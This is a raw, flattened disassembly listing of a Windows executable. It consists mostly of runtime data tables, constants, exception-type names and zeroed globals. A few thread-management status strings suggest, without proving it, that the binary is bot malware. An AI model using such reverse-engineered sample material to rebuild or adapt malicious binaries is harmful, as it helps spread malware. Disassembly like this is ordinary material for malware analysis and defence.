sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi add esp, 54h test eax, eax retn sub_42D024 endp ; --------------------------------------------------------------------------- align 10h aThreadList db '-[Thread List]-',0 aSNoSThreadFoun db '%s: No %s thread found.',0 ; DATA XREF: sub_4132E7+51o aSSStopped_DThr db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_4132E7+35o dword_42D0A0 dd 1 align 10h dword_42D0B0 dd 173Fh dd 9875h, 9873h off_42D0BC dd offset sub_413FD1 ; DATA XREF: sub_41588Ar dd offset nullsub_2 dd offset nullsub_2 dword_42D0C8 dd 1B3Fh dword_42D0CC dd 19930520h, 4 dup(0) ; sub_4144D6+2o off_42D0E0 dd offset sub_4158C8 ; DATA XREF: sub_415C7E+1Cr dword_42D0E4 dd 2 ; sub_41AFA9+46r ... off_42D0E8 dd offset aNull_0 ; DATA XREF: sub_415DDC:loc_416140r ; sub_415DDC+457r ; "(null)" off_42D0EC dd offset aNull ; DATA XREF: sub_415DDC+259r ; "(null)" off_42D0F0 dd offset word_42D0FA ; DATA XREF: sub_413A94+23r ; sub_413A94:loc_413AF5r ... dd offset word_42D0FA db 2 dup(0) word_42D0FA dw 20h ; DATA XREF: sub_41C74D+18r ; seg002:off_42D0F0o ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_42D2FC dd 1 ; sub_413A94:loc_413AE0r ... byte_42D300 db 2Eh ; DATA XREF: sub_417FA8:loc_417FE8r ; seg000:00418006r ... align 4 dd 1, 10h dword_42D30C dd 3F8h ; sub_41556F+4Dr ... dword_42D310 dd 14h off_42D314 dd offset aExp ; DATA XREF: sub_417CF1:loc_417D0Er ; "exp" dd 1Dh, 41F79Ch, 1Ah, 41F798h, 1Bh, 41F790h, 1Fh, 41F788h dd 13h, 41F780h, 21h, 41F778h, 0Eh, 41F770h, 0Dh, 41F768h dd 0Fh, 41F760h, 10h, 41F758h, 5, 41F750h, 1Eh, 41F74Ch dd 12h, 41F748h, 20h, 41F744h, 0Ch, 41F73Ch, 0Bh, 41F734h dd 15h, 41F72Ch, 1Ch, 41F724h, 19h, 41F71Ch, 11h, 41F714h dd 18h, 41F70Ch, 16h, 41F704h, 17h, 41F6FCh, 22h, 41F6F8h dd 23h, 41F6F4h, 24h, 41F6F0h dbl_42D3E8 dq 1.797693134862316e308 ; DATA XREF: sub_417A2C+B7r ; sub_417A2C:loc_417B13r ... dd 0 dd 0FFF80000h dbl_42D3F8 dq 1.797693134862316e308 ; DATA XREF: sub_417A2C+92r ; sub_417A2C:loc_417AEBr ... dd 0 dd 100000h, 0 dd 80000000h tbyte_42D410 dt 2.3562723457267347066e313 ; DATA XREF: sub_417ED9+Dr ; sub_417ED9+1Fr align 4 tbyte_42D41C dt 1.9149954921904370718e-1233 ; DATA XREF: sub_417ED9+31r align 4 off_42D428 dd offset sub_41BF89 ; DATA XREF: sub_413FE9+Fw ; sub_415DDC+3AAr off_42D42C dd offset sub_41BF89 ; DATA XREF: sub_413FE9+5w ; sub_415DDC+3E2r off_42D430 dd offset sub_41BF89 ; DATA XREF: sub_413FE9+14w ; sub_418DCD+430r off_42D434 dd offset sub_41BF89 ; DATA XREF: sub_413FE9+1Ew ; sub_415DDC+3CBr off_42D438 dd offset sub_41BF89 ; DATA XREF: sub_413FE9+28w off_42D43C dd offset sub_41BF89 ; DATA XREF: sub_413FE9+32w dd offset sub_41BF92 align 10h dd offset sub_418C2C off_42D454 dd offset sub_418C2C ; DATA XREF: sub_418C82+29r dword_42D458 dd 0D2D0920h, 5Dhdword_42D460 dd 5Dh, 0 byte_42D468 db 1 ; DATA XREF: seg000:0041A131r db 2, 4, 8 align 10h dword_42D470 dd 3A4h dword_42D474 dd 82798260h, 21h, 0dword_42D480 dd 0DFA6h align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_42D560 dd 1 ; sub_41A667+Co dword_42D564 dd 16h dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch dword_42D6C8 dd 0C0000005h ; sub_41A80F+Ar ... dword_42D6CC dd 0Bh dd 0 dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_42D740 dd 3 ; sub_41D327+C8r dword_42D744 dd 7 ; sub_41D327+CDr dword_42D748 dd 0Ah ; sub_41D454+4r dword_42D74C dd 8Ch ; sub_41A6CE+8Fw ... dword_42D750 dd 0FFFFFFFFh, 0A00h ; sub_419940:loc_4199C1o dword_42D758 dd 2 ; sub_41AFA9+28r off_42D75C dd offset aR6002FloatingP ; DATA XREF: sub_41AFA9+12Dr ; "R6002\r\n- floating point not loaded\r\n" dd 8, 41FABCh, 9, 41FA90h, 0Ah, 41FA6Ch, 10h, 41FA40h dd 11h, 41FA10h, 12h, 41F9ECh, 13h, 41F9C0h, 18h, 41F988h dd 19h, 41F960h, 1Ah, 41F928h, 1Bh, 41F8F0h, 1Ch, 41F8C8h dd 78h, 41F8B8h, 79h, 41F8A8h, 7Ah, 41F898h, 0FCh, 422D68h dd 0FFh, 41F888h off_42D7E8 dd offset dword_45EB00 ; DATA XREF: sub_41AFA9+1Bo ; sub_41B166+55o dd 0 dd offset dword_45EB00 dd 101h dword_42D7F8 dd 2 dup(0) dd 1000h, 0 dword_42D808 dd 3 dup(0) ; sub_416846+12o dd 2, 1, 3 dup(0) dword_42D828 dd 3 dup(0) ; sub_416846:loc_416864o dd 2 dup(2), 7 dup(0) dword_42D858 dd 84h dup(0) dword_42DA68 dd 2694h ; sub_4176E1+46r ... align 10h dword_42DA70 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFhdword_42DA88 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fhdword_42DAA0 dd 7080h ; sub_41C1F2+5Ew ... dword_42DAA4 dd 1 ; sub_41C1F2+8Bw ... dword_42DAA8 dd 0FFFFF1F0h ; sub_41C1F2+94w ... dword_42DAAC dd 545350h, 0Fh dup(0)dword_42DAEC dd 544450h, 0Fh dup(0)off_42DB2C dd offset dword_42DAAC ; DATA XREF: sub_41C1F2+BAr ; sub_41C1F2+D9r ... off_42DB30 dd offset dword_42DAEC ; DATA XREF: sub_41C1F2+F4r ; sub_41C1F2+11Br ... align 8 dword_42DB38 dd 0FFFFFFFFh ; sub_41C450+1Er ... dword_42DB3C dd 0 ; sub_41C5FC+BFw dword_42DB40 dd 0 ; sub_41C5FC+E0w align 8 dword_42DB48 dd 0FFFFFFFFh ; sub_41C450+26r ... dword_42DB4C dd 0 ; sub_41C5FC+EAw ... dword_42DB50 dd 0 ; sub_41C5FC+23r ... dword_42DB54 dd 0FFFFFFFFh dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h dd 14Eh dword_42DB84 dd 16Dh ; sub_41C5FC+2Er ... dword_42DB88 dd 0FFFFFFFFh dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh dd 14Dh, 16Ch, 0 dword_42DBC0 dd 2 dup(0) dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) ; --------------------------------------------------------------------------- push eax retn ; --------------------------------------------------------------------------- dw 400Fh dd 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_42DD20 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_41D7AC+1Bo dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh, 0 off_42DE80 dd offset off_41FCAC ; DATA XREF: seg001:off_41FCD0o ; seg001:0041FDFCo ... align 8 a_?avexception@ db '.?AVexception@@',0 off_42DE98 dd offset off_41FCAC ; DATA XREF: seg001:off_41FCE8o ; seg001:0041FD7Co ... align 10h a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 4 off_42DEB8 dd offset off_41FCAC ; DATA XREF: seg001:off_41FD00o ; seg001:0041FD44o ... align 10h a_?avlength_err db '.?AVlength_error@std@@',0 align 4 off_42DED8 dd offset off_41FCAC ; DATA XREF: seg001:off_41FD88o ; seg001:0041FDCCo ... align 10h a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 4 off_42DEF8 dd offset off_41FCAC ; DATA XREF: seg001:off_41FE08o ; seg001:0041FE44o align 10h a_?avtype_info@ db '.?AVtype_info@@',0 dd offset sub_41BF92 dd 10Ah dup(0) dword_42E33C dd 2 dup(0) dword_42E344 dd 0 ; seg000:00410ED0o ... byte_42E348 db 0 ; DATA XREF: sub_4031F5+10o ; sub_404FC5+74o ... align 4 dword_42E34C dd 0 ; sub_403EB4+51r ... dword_42E350 dd 0 ; seg000:0040391Cw ... align 8 dword_42E358 dd 0 ; sub_405AFA+92w ... dword_42E35C dd 0 ; sub_405E47+D9w ... dd 256h dup(0) dword_42ECB8 dd 7 dup(0) ; sub_405C33+138o ... dword_42ECD4 dd 83h dup(0) dword_42EEE0 dd 0 dword_42EEE4 dd 0 dd 24h dup(0) dword_42EF78 dd 0 ; sub_40571E+32Eo dword_42EF7C dd 0A2h dup(0) dword_42F204 dd 41h dup(0) dword_42F308 dd 0 ; sub_40571E+2E1r align 10h dword_42F310 dd 0 ; sub_40571E+340r dword_42F314 dd 0 dword_42F318 dd 0 dword_42F31C dd 0 dd 0 dword_42F324 dd 0 dd 0AAh dup(0) dword_42F5D0 dd 0 ; sub_406E9A+4CDr dword_42F5D4 dd 0 ; sub_412136+F5r dword_42F5D8 dd 0 ; sub_406E9A+862r ... dword_42F5DC dd 0 ; sub_406E9A+A18r ... dword_42F5E0 dd 0 ; sub_406E9A+9E8r ... dword_42F5E4 dd 0 ; sub_406E9A+4BDr dword_42F5E8 dd 0 ; sub_4021FB+109r ... dword_42F5EC dd 0 ; sub_406E9A+A10r ... dword_42F5F0 dd 0 ; sub_406E9A+3A9r ... dword_42F5F4 dd 0 ; sub_408F79+11Er dword_42F5F8 dd 0 ; sub_406E9A+3B1r ... dword_42F5FC dd 0 ; sub_411724+ADr dword_42F600 dd 0 ; seg000:004069F8r ... dword_42F604 dd 0 ; sub_406E9A+D2r ... dword_42F608 dd 0 ; sub_406E9A+9DBr ... dword_42F60C dd 0 ; sub_406E9A+3C9r ... dword_42F610 dd 0 ; sub_406E9A+88Er ... dword_42F614 dd 0 ; sub_406E9A+2A5w ... dword_42F618 dd 0 ; sub_406E9A+886r ... dword_42F61C dd 0 dword_42F620 dd 0 ; sub_406E9A+896r ... dword_42F624 dd 0 ; sub_406E9A+52Fw ... dword_42F628 dd 0 ; sub_406E9A+CAr ... dword_42F62C dd 0 ; seg000:004087D9r dword_42F630 dd 0 ; sub_406E9A+A6Dr ... dword_42F634 dd 0 ; sub_406E9A+F2r dword_42F638 dd 0 ; sub_406E9A+4B5r dword_42F63C dd 0 ; sub_406E9A+5D8w ... dword_42F640 dd 0 ; sub_406E9A+A08r dword_42F644 dd 0 ; sub_406E9A+5CBw ... dword_42F648 dd 0 dword_42F64C dd 0 ; sub_406E9A+84Fr ... dword_42F650 dd 0 ; sub_40829B+15r dword_42F654 dd 0 ; sub_406E9A+9F0r ... dword_42F658 dd 0 ; sub_406E9A+3B9r ... dword_42F65C dd 0 ; sub_406E9A+3C1r ... dword_42F660 dd 0 ; sub_406E9A+C5Dr dword_42F664 dd 0 dword_42F668 dd 0 ; sub_4018CA:loc_401B70r ... dword_42F66C dd 0 dword_42F670 dd 0 ; sub_406E9A+A20r ... dword_42F674 dd 0 ; sub_406E9A+2DEr ... dword_42F678 dd 0 ; sub_406E9A+DAr ... dword_42F67C dd 0 ; sub_406E9A+B75r ... dword_42F680 dd 0 ; sub_4018CA+2Fr ... dword_42F684 dd 0 ; sub_406E9A+872r ... dword_42F688 dd 0 ; sub_406E9A+9F8r dword_42F68C dd 0 ; sub_406E9A+C10r dword_42F690 dd 0 ; sub_4021FB+63r ... dword_42F694 dd 0 ; sub_406E9A+910r ... dword_42F698 dd 0 dword_42F69C dd 0 ; seg000:00401483r ... dword_42F6A0 dd 0 ; sub_406E9A+855r dword_42F6A4 dd 0 ; sub_4021FB+78r ... dword_42F6A8 dd 0 ; sub_406E9A+1C2r dword_42F6AC dd 0 ; sub_406E9A+786r ... dword_42F6B0 dd 0 ; sub_404FC5+62r ... dword_42F6B4 dd 0 ; sub_406E9A+549w ... dword_42F6B8 dd 0 ; sub_406E9A:loc_407775w ... dword_42F6BC dd 0 ; sub_406E9A+2C6r ... dword_42F6C0 dd 0 ; sub_406E9A+681w ... dword_42F6C4 dd 0 ; sub_406E9A+323r ... dword_42F6C8 dd 0 ; sub_406E9A+3D1r ... dword_42F6CC dd 0 ; sub_406E9A+C08r dword_42F6D0 dd 0 ; sub_406E9A+86Ar ... dword_42F6D4 dd 0 ; sub_406E9A+206w ... dword_42F6D8 dd 0 ; sub_406E9A+1D2r ... dword_42F6DC dd 0 ; sub_406E9A+87Ar ... dword_42F6E0 dd 0 ; sub_406E9A+606w ... dword_42F6E4 dd 0 ; sub_406E9A+2BFw ... dword_42F6E8 dd 0 ; seg000:004014F1r ... dword_42F6EC dd 0 ; sub_406E9A+316r ... dword_42F6F0 dd 0 ; seg000:004052E2r ... dword_42F6F4 dd 0 ; sub_406E9A+490r dword_42F6F8 dd 0 ; sub_406E9A+1DAr ... dword_42F6FC dd 0 ; sub_406E9A+39Cr ... dword_42F700 dd 0 dword_42F704 dd 0 ; seg000:004012ABr ... dword_42F708 dd 0 ; seg000:0040114Fr ... dword_42F70C dd 0 ; sub_406E9A+C2r ... dword_42F710 dd 0 ; sub_406E9A+4ADr dword_42F714 dd 0 ; sub_406E9A+1BAr ... dword_42F718 dd 0 ; seg000:0041207Fr dword_42F71C dd 0 ; sub_406E9A+78Er dword_42F720 dd 0 ; sub_402E17+75r ... dword_42F724 dd 0 ; sub_406E9A+C18r dword_42F728 dd 0 ; sub_406E9A+BAr ... dword_42F72C dd 0 ; sub_406E9A+2CEr ... dword_42F730 dd 0 ; sub_4060A6+9Cr ... dword_42F734 dd 0 ; sub_403FCB+89r ... dword_42F738 dd 0 dword_42F73C dd 0 ; sub_4092F3+205r ... dword_42F740 dd 0 dword_42F744 dd 0 ; sub_406E9A+BF3r dword_42F748 dd 0 ; seg000:00401DB4r ... dword_42F74C dd 0 ; sub_406E9A+49Dr dword_42F750 dd 0 ; sub_406E9A+4C5r dword_42F754 dd 0 ; sub_406E9A+4A5r dword_42F758 dd 0 ; sub_402E96+35r ... dword_42F75C dd 0 ; sub_406E9A+1E2r ... dword_42F760 dd 0 ; sub_406E9A+A28r ... dword_42F764 dd 0 ; sub_406E9A+1ADr ... dword_42F768 dd 0 ; sub_406E9A+E2r ... dword_42F76C dd 0 ; seg000:00401FF8r ... dword_42F770 dd 0 ; sub_406E9A+B30r dword_42F774 dd 0 ; sub_4120CB+55r dword_42F778 dd 0 ; sub_406E9A+27Ew ... dword_42F77C dd 0 dword_42F780 dd 0 ; sub_40853B+CEr dword_42F784 dd 0 ; sub_406E9A+AB7r ... dword_42F788 dd 0 ; seg000:00401C2Br ... dword_42F78C dd 0 ; sub_406E9A+674w ... dword_42F790 dd 0 ; sub_406E9A+C00r dword_42F794 dd 0 ; seg000:00405336r ... dword_42F798 dd 0 ; sub_406E9A+A00r ... dword_42F79C dd 0 ; sub_4060A6+B3r ... dword_42F7A0 dd 0 ; sub_4018CA+29Fr ... dword_42F7A4 dd 0 ; sub_403FCB+39Fr ... dword_42F7A8 dd 0 ; sub_406E9A+B28r dword_42F7AC dd 0 ; sub_4018CA+4Fr ... dword_42F7B0 dd 0 ; sub_406E9A+B1Br dword_42F7B4 dd 0 ; sub_406E9A+ADr ... dword_42F7B8 dd 0 ; sub_406E9A+1CAr align 10h dword_42F7C0 dd 0 ; sub_406E9A+91Dr ... dword_42F7C4 dd 0 ; sub_406E9A+EAr ... dword_42F7C8 dd 0 ; sub_406E9A+12Bw ... dword_42F7CC dd 0 ; sub_407B27+1Cr dword_42F7D0 dd 0 ; sub_406E9A:loc_4070EFw ... dword_42F7D4 dd 0 ; sub_407B27+50r dword_42F7D8 dd 0 ; sub_406E9A:loc_4071C9w ... dword_42F7DC dd 0 ; sub_407B27+84r dword_42F7E0 dd 0 ; sub_407B27:loc_407BD7r dword_42F7E4 dd 0 ; sub_407B27+B8r dword_42F7E8 dd 0 ; sub_407B27:loc_407C0Br dword_42F7EC dd 0 ; sub_407B27+ECr dword_42F7F0 dd 0 ; sub_406E9A+8D1w ... dword_42F7F4 dd 0 ; sub_407B27+120r dword_42F7F8 dd 0 ; sub_407B27:loc_407C73r ... dword_42F7FC dd 0 ; sub_407B27+154r dword_42F800 dd 0 ; sub_407B27:loc_407CA7r ... dword_42F804 dd 0 ; sub_407B27+188r dword_42F808 dd 0 ; sub_407B27:loc_407CDBr dword_42F80C dd 0 ; sub_407B27+1BCr dword_42F810 dd 0 ; sub_407B27:loc_407D0Fr dword_42F814 dd 0 ; sub_407B27+1F0r dword_42F818 dd 0 ; sub_407B27:loc_407D43r dword_42F81C dd 0 ; sub_407B27+224r dword_42F820 dd 0 ; sub_407B27:loc_407D77r dword_42F824 dd 0 ; sub_407B27+258r dword_42F828 dd 0 ; sub_407B27:loc_407DABr dword_42F82C dd 0 ; sub_407B27+28Cr dword_42F830 dd 0 ; sub_407B27:loc_407DDFr dword_42F834 dd 0 ; sub_407B27+2C0r dd 81h dup(0) dword_42FA3C dd 5 dup(0) dword_42FA50 dd 0 ; seg000:00408BA4r dword_42FA54 dd 0 ; seg000:00408B87r ... dword_42FA58 dd 0 ; seg000:00408D28o dword_42FA5C dd 0 dword_42FA60 dd 0Dh dup(0) dword_42FA94 dd 0 ; seg000:00408C3Cr ... dd 0 dword_42FA9C dd 0Eh dup(0) dword_42FAD4 dd 1000h dup(0) ; sub_4096B5o ... dword_433AD4 dd 0 ; sub_4096B5+Eo ... dword_433AD8 dd 10h dup(0) dword_433B18 dd 0 ; seg000:00409561r ... dd 5 dup(0) dword_433B30 dd 0 ; seg000:0040BF23r dd 2D9h dup(0) dword_434698 dd 0 ; seg000:0040954Ao ... dd 7Fh dup(0) dword_434898 dd 0 ; sub_413194+40w ... dword_43489C dd 0 ; sub_405C33:loc_405C7Ar ... dword_4348A0 dd 0 ; sub_413194+3Ar ... dword_4348A4 dd 0 ; sub_403FCB+7Ew ... dword_4348A8 dd 0 ; seg000:00406468r ... dword_4348AC dd 0 ; sub_40571E+34Ew ... byte_4348B0 db 0 ; DATA XREF: sub_40B07B+91o ; seg000:0040E586r ... align 4 dd 265h dup(0) db 0 byte_435249 db 3 dup(0) ; DATA XREF: seg002:off_4224E4o dd 4141h dup(0) dword_445750 dd 610Eh dup(0) dword_45DB88 dd 0 ; seg000:0040AB5Aw ... align 10h dword_45DB90 dd 0 dword_45DB94 dd 20h dup(0) ; seg000:0040AFDEo ... dword_45DC14 dd 10h dup(0) ; seg000:0040BC78o dword_45DC54 dd 24h dup(0) dword_45DCE4 dd 0 ; seg000:0040AFF5w ... dword_45DCE8 dd 0 dd 3 dup(0) dword_45DCF8 dd 0 dword_45DCFC dd 0 ; seg000:0040B5D1r byte_45DD00 db 0 ; DATA XREF: sub_40B1E3+28r ; sub_40B1E3+30o align 8 dword_45DD08 dd 0 ; seg000:0040AFA9r ... dword_45DD0C dd 0 ; seg000:0040BC1Cr dword_45DD10 dd 17h dup(0) ; sub_411274+131o ... dword_45DD6C dd 7 dup(0) ; seg000:004120B2o dword_45DD88 dd 0 ; sub_4132C0+19o dword_45DD8C dd 78h dup(0) dword_45DF6C dd 0 ; sub_4115EE+4Dr ... dword_45DF70 dd 17h dup(0) ; sub_411ED9+12Do dword_45DFCC dd 80h dup(0) ; sub_41152F+7Do ... byte_45E1CC db 0 ; DATA XREF: sub_4115EE+29r ; sub_4115EE+34w align 10h dword_45E1D0 dd 80h dup(0) ; sub_411845+88o ... dword_45E3D0 dd 81h dup(0) ; sub_41114B+50o ... dword_45E5D4 dd 84h dup(0) dword_45E7E4 dd 0 dd 6 dup(0) dword_45E800 dd 0 ; sub_414D28+91w dword_45E804 dd 0 ; sub_414ECE:loc_414F4Aw ... dword_45E808 dd 0 ; sub_41665B:loc_4166F5w ... dword_45E80C dd 0 dword_45E810 dd 0 dword_45E814 dd 0 dword_45E818 dd 0 dword_45E81C dd 0 dword_45E820 dd 0 ; sub_41A963+91w dword_45E824 dd 0 ; seg000:0040AE29r ... dd 0 dword_45E82C dd 0 ; sub_41D499+9r ... dword_45E830 dd 0 dword_45E834 dd 0 ; sub_41D867+4r ... dd 0 dword_45E83C dd 0 dd 0 byte_45E844 db 0 ; DATA XREF: sub_4158D9+2Dw ; sub_41B20B+5r align 4 dword_45E848 dd 0 dword_45E84C dd 0 ; sub_4158D9+8Bw dword_45E850 dd 0 ; sub_41A8AA:loc_41A8BCr ... align 8 dword_45E858 dd 0 dword_45E85C dd 0 dd 0 dword_45E864 dd 0 ; sub_41556F:loc_41566Br ... dword_45E868 dd 0 dword_45E86C dd 0 ; sub_4181AA+1Ar ... byte_45E870 db 0 ; DATA XREF: sub_4180A6+3r ; sub_4180A6+98r ... align 4 dword_45E874 dd 0 ; sub_418288+21w ... byte_45E878 db 0 ; DATA XREF: sub_418288+51w align 4 dword_45E87C dd 0 ; sub_418859+3Ar ... dword_45E880 dd 0 ; sub_418859+43r ... dword_45E884 dd 0 ; sub_418625+5r dword_45E888 dd 0 dword_45E88C dd 0 ; seg000:00419E4Dw ... dd 2 dup(0) dword_45E898 dd 0 ; sub_415223+9Dr ... dd 3 dup(0) dword_45E8A8 dd 0 ; sub_415A89+BFr ... align 10h dword_45E8B0 dd 0 ; sub_41A1E9+4w ... dword_45E8B4 dd 0 ; sub_41A6CE+46w ... dword_45E8B8 dd 41h dup(0) dword_45E9BC dd 0 ; sub_41ABB0+23w ... dword_45E9C0 dd 0 dword_45E9C4 dd 0 ; sub_416910+154w ... dword_45E9C8 dd 0 ; seg000:loc_41B2F1w dword_45E9CC dd 0 word_45E9D0 dw 0 ; DATA XREF: sub_41BE6F+1Ao ; sub_41BE6F+46r byte_45E9D2 db 0 ; DATA XREF: sub_41BE6F+39r align 4 dword_45E9D4 dd 7 dup(0) dword_45E9F0 dd 0 ; sub_41BE6F+5Co dword_45E9F4 dd 0 dword_45E9F8 dd 0 dword_45E9FC dd 0 dword_45EA00 dd 0 ; sub_41BF92+38r ... align 8 dword_45EA08 dd 0 ; sub_41C1F2+63w ... align 10h dword_45EA10 dd 0 ; sub_41C1F2+46r dword_45EA14 dd 10h dup(0) word_45EA54 dw 0 ; DATA XREF: sub_41C450+A8r word_45EA56 dw 0 ; DATA XREF: sub_41C1F2+54r ; sub_41C450+DBr ... word_45EA58 dw 0 ; DATA XREF: sub_41C450+CAr word_45EA5A dw 0 ; DATA XREF: sub_41C450+D3r ; sub_41C450:loc_41C542r word_45EA5C dw 0 ; DATA XREF: sub_41C450+C0r word_45EA5E dw 0 ; DATA XREF: sub_41C450+B8r word_45EA60 dw 0 ; DATA XREF: sub_41C450+B0r word_45EA62 dw 0 ; DATA XREF: sub_41C450+9Er dword_45EA64 dd 0 dword_45EA68 dd 10h dup(0) word_45EAA8 dw 0 ; DATA XREF: sub_41C450+46r word_45EAAA dw 0 ; DATA XREF: sub_41C1F2:loc_41C269r ; sub_41C450+78r ... word_45EAAC dw 0 ; DATA XREF: sub_41C450+67r word_45EAAE dw 0 ; DATA XREF: sub_41C450+70r ; sub_41C450:loc_41C4D4r word_45EAB0 dw 0 ; DATA XREF: sub_41C450+5Dr word_45EAB2 dw 0 ; DATA XREF: sub_41C450+55r word_45EAB4 dw 0 ; DATA XREF: sub_41C450+4Dr word_45EAB6 dw 0 ; DATA XREF: sub_41C450+3Er dword_45EAB8 dd 0 dword_45EABC dd 0 ; sub_41C1F2:loc_41C33Er ... dword_45EAC0 dd 0 dword_45EAC4 dd 0 ; seg000:0041C7ACw ... dword_45EAC8 dd 0 ; seg000:loc_41C7CDr dword_45EACC dd 0 ; seg000:0041C7DEr dword_45EAD0 dd 0 dword_45EAD4 dd 0 ; sub_41D327+6Do dword_45EAD8 dd 0 ; sub_41D327+44o dword_45EADC dd 0 ; sub_41D327+37o dword_45EAE0 dd 0 ; sub_41D327+51o align 8 dword_45EAE8 dd 0 ; sub_41D8D5+48w ... byte_45EAEC db 0 ; DATA XREF: sub_40388Fr sub_40388F+9w ... align 10h dword_45EAF0 dd 0 ; sub_416A80+14r ... align 10h dword_45EB00 dd 400h dup(0) ; seg002:0042D7F0o dword_45FB00 dd 0 ; sub_4167D9+56r ... dd 7 dup(0) dword_45FB20 dd 0 ; sub_419940+75r ... dword_45FB24 dd 3Fh dup(0) dword_45FC20 dd 0 ; sub_419A19+Cr ... dword_45FC24 dd 0 ; seg000:0041A0B5w ... align 10h dword_45FC30 dd 3 dup(0) ; seg000:0041A1C1o ... dword_45FC3C dd 0 ; seg000:0041A1ADw ... byte_45FC40 db 0 ; DATA XREF: seg000:loc_41A39Bw ; seg000:loc_41A3B8w ... align 4 dd 3Fh dup(0) byte_45FD40 db 0 ; DATA XREF: seg000:0041A0ACo ; seg000:0041A0FFo ... byte_45FD41 db 